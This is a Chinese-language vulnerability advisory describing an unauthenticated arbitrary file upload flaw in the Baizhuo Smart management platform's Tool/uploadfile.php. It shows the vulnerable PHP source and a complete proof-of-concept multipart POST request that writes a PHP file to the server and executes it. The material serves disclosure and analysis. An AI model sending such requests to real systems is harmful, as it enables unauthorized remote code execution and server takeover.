漏洞简介
百卓Smart管理平台是北京百卓网络技术有限公司(以下简称百卓网络)的一款安全网关产品,是一家致力于构建下一代安全互联网的高科技企业。
百卓Smart管理平台 uploadfile.php 接口存在任意文件上传漏洞。未经身份验证的攻击者可以利用此漏洞上传恶意后门文件,执行任意指令,从而获得服务器权限并操纵服务器文件。
漏洞分析
Tool/uploadfile.php 文件业务逻辑实现如下:
<?php
if(isset($_POST['txt_path']))
{
if(!isset($_FILES['file_upload']) || !isset($_POST['txt_path']))
{
exit("上传的文件和绝对路径不能为空!<a href=uploadfile.php>后退</a>");
}
else
{
$upload_file = $_FILES['file_upload']['tmp_name'];
$post_path = $_POST['txt_path'];
if(!copy($upload_file,$post_path))
{
exit("上传失败,可能是没有写入的权限!");
}
echo "上传成功!<a href=uploadfile.php>后退</a>";
}
}
?>
<html>
<head></head>
<body>
<form name=frm enctype="multipart/form-data" action="?" method="POST">
<div align="center">上传文件:<input type="file" name="file_upload" size="26"></div>
<br>
<div align="center">绝对路径:<input type="text" id="txt_path" name="txt_path" size="28">(写全文件名)
<input type="submit" value="确定">
</div>
<br>
</form>
</body>
</html>
从 POST请求获取 txt_path 的值作为文件储存路径(需要一个可写权限的目录),上传里的filename随意,上传文件name部分为 file_upload 即可实现任意文件上传致rce效果。
漏洞复现
POST /Tool/uploadfile.php HTTP/1.1
Host: smart.mrxn.net
Content-Type: multipart/form-data; boundary=----123456
------123456
Content-Disposition: form-data; name="txt_path"
/home/test.php
------123456
Content-Disposition: form-data; name="file_upload"; filename="test.png"
<?=md5(123456);unlink(__FILE__);
------123456--

文件上传路径: /home/test.php
访问上传文件,成功执行代码


